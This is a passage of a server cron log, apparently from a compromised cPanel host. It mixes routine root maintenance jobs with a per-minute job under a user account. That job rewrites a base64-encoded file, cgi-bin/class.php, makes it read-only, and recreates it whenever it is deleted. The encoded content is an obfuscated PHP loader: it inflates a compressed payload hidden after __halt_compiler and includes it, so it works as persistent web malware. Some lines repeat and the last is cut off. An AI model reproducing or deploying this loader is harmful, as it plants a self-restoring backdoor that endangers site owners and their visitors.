cvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 06:20:01 server CROND[26869]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 06:20:01 server CROND[26867]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 06:20:01 server CROND[26868]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 06:20:01 server CROND[26870]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 06:20:01 server CROND[26872]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  2 06:21:01 server CROND[27701]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 06:21:01 server CROND[27702]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 06:21:01 server CROND[27703]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 06:22:01 server CROND[28066]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 06:22:01 server CROND[28068]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 06:22:01 server CROND[28067]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 06:23:01 server CROND[28434]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 06:23:01 server CROND[28435]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 06:23:01 server CROND[28437]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 06:24:01 server CROND[28896]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 06:24:01 server CROND[28897]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 06:24:01 server CROND[28898]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 06:25:02 server CROND[29280]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 06:25:02 server CROND[29284]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 06:25:02 server CROND[29283]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 06:25:02 server CROND[29289]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep  2 06:25:02 server CROND[29287]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 06:25:02 server CROND[29286]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 06:25:02 server CROND[29282]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 06:25:02 server CROND[29288]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 06:26:01 server CROND[30110]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 06:26:01 server CROND[30111]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 06:26:01 server CROND[30112]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 06:26:01 server CROND[30110]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 06:26:01 server CROND[30111]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 06:26:01 server CROND[30112]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 06:27:01 server CROND[30501]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 06:27:01 server CROND[30502]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 06:27:01 server CROND[30504]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 06:27:01 server CROND[30505]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  2 06:28:01 server CROND[30885]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 06:28:01 server CROND[30884]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 06:28:01 server CROND[30888]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 06:29:01 server CROND[31249]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 06:29:01 server CROND[31250]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 06:29:01 server CROND[31251]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 06:30:01 server CROND[31725]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 06:30:01 server CROND[31729]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 06:30:01 server CROND[31730]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 06:30:01 server CROND[31728]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 06:30:01 server CROND[31733]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 06:30:01 server CROND[31731]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 06:30:01 server CROND[31734]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 06:30:01 server CROND[31732]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 06:31:01 server CROND[32570]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 06:31:01 server CROND[32571]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 06:31:01 server CROND[32572]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxC